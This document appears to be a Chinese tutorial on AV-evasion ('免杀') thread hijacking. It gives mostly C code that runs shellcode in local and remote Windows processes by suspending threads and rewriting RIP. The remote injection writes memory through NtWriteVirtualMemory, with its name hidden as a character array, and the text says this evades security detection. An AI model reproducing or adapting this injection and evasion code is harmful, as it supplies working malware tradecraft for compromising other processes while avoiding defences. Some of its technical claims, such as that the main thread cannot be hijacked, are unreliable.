免杀基础-线程劫持
字数 811 2025-08-22 12:23:18
线程劫持(Thread Hijacking)技术详解
1. 线程劫持概述
线程劫持(Thread Hijacking)是指攻击者通过某种方式劫持线程的执行流从而执行shellcode的技术。其核心思想是利用暂停目标线程、修改上下文来控制其执行流。
2. 线程上下文基础
线程上下文指的是一个线程在执行时所需的所有信息集合,包括线程的寄存器和堆栈。
关键API:
GetThreadContext- 获取线程上下文SetThreadContext- 修改线程上下文
ContextFlags参数:
- 只需要获取寄存器时使用
CONTEXT_CONTROL - 获取全部上下文使用
CONTEXT_ALL
3. 基本线程劫持流程
- 创建挂起线程
- 获取线程上下文
- 修改IP寄存器(RIP)
- 恢复线程执行
3.1 创建挂起线程示例
void test(){
MessageBox(0, 0, 0, 0);
}
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)&test, NULL, CREATE_SUSPENDED, NULL);
3.2 修改上下文并恢复线程
CONTEXT context;
DWORD dwOldProtection = NULL;
context.ContextFlags = CONTEXT_ALL;
// 分配内存
LPVOID lpMem = VirtualAlloc(NULL, length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(lpMem, shellcode, length);
VirtualProtect(lpMem, length, PAGE_EXECUTE_READWRITE, &dwOldProtection);
// 获取上下文并修改RIP
GetThreadContext(hThread, &context);
context.Rip = (DWORD64)lpMem;
SetThreadContext(hThread, &context);
// 恢复线程
ResumeThread(hThread);
注意:使用calc的shellcode时,主线程执行完会退出,可以使用WaitForSingleObject阻塞主线程。
4. 劫持现有线程
4.1 枚举系统线程
使用CreateToolhelp32Snapshot进行线程枚举:
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
THREADENTRY32 te32 = {sizeof(THREADENTRY32)};
if(Thread32First(hSnapShot, &te32)){
do{
wprintf(L"TID: %lu\n", te32.th32ThreadID);
} while(Thread32Next(hSnapShot, &te32));
}
4.2 劫持指定进程的线程
通过比对te32.th32OwnerProcessID与指定进程PID来筛选线程:
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, false, te32.th32ThreadID);
SuspendThread(hThread);
LPVOID lpMem = VirtualAlloc(NULL, length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(lpMem, shellcode, length);
VirtualProtect(lpMem, length, PAGE_EXECUTE_READWRITE, &dwOldProtection);
GetThreadContext(hThread, &context);
context.Rip = (DWORD64)lpMem;
SetThreadContext(hThread, &context);
ResumeThread(hThread);
WaitForSingleObject(hThread, -1);
5. 远程线程劫持
5.1 创建挂起进程
STARTUPINFO si = {sizeof(STARTUPINFO)};
PROCESS_INFORMATION pi;
CreateProcess(NULL, _wcsdup(L"C:\\Windows\\System32\\nslookup.exe"), NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
5.2 注入到远程进程
使用VirtualAllocEx和NtWriteVirtualMemory进行注入(避免使用敏感的WriteProcessMemory):
typedef NTSTATUS(NTAPI *pNtWriteVirtualMemory)(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN ULONG NumberOfBytesToWrite,
OUT PULONG NumberOfBytesWritten OPTIONAL);
char str1[] = {'N','t','W','r','i','t','e','V','i','r','t','u','a','l','M','e','m','o','r','y','\0'};
pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(LoadLibraryA("ntdll.dll"), str1);
LPVOID lpMem = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(pi.hProcess, lpMem, shellcode, sizeof(shellcode), NULL);
VirtualProtectEx(pi.hProcess, lpMem, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);
5.3 修改上下文并恢复执行
GetThreadContext(pi.hThread, &context);
context.Rip = (DWORD64)lpMem;
SetThreadContext(pi.hThread, &context);
ResumeThread(pi.hThread);
6. 远程线程枚举与劫持
完整远程线程枚举与劫持函数示例:
void remoteEnum(DWORD targetPid){
char str1[] = {'N','t','W','r','i','t','e','V','i','r','t','u','a','l','M','e','m','o','r','y','\0'};
pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(LoadLibraryA("ntdll.dll"), str1);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, targetPid);
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
THREADENTRY32 te32;
te32.dwSize = sizeof(THREADENTRY32);
CONTEXT context;
context.ContextFlags = CONTEXT_ALL;
DWORD dwOldProtection;
if(Thread32First(hSnapShot, &te32)){
do{
if(te32.th32OwnerProcessID == targetPid){
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, false, te32.th32ThreadID);
if(hThread != NULL){
LPVOID lpMem = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpMem, shellcode, sizeof(shellcode), NULL);
VirtualProtectEx(hProcess, lpMem, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);
SuspendThread(hThread);
GetThreadContext(hThread, &context);
context.Rip = (DWORD64)lpMem;
SetThreadContext(hThread, &context);
ResumeThread(hThread);
WaitForSingleObject(hThread, -1);
}
}
} while(Thread32Next(hSnapShot, &te32));
}
}
7. 注意事项
- 劫持不一定是主线程,执行可能需要一些时间
- 劫持的线程可能不会持续运行
- 使用
NtWriteVirtualMemory等替代API可以绕过一些安全检测 - 主线程不能被劫持(因为无法挂起)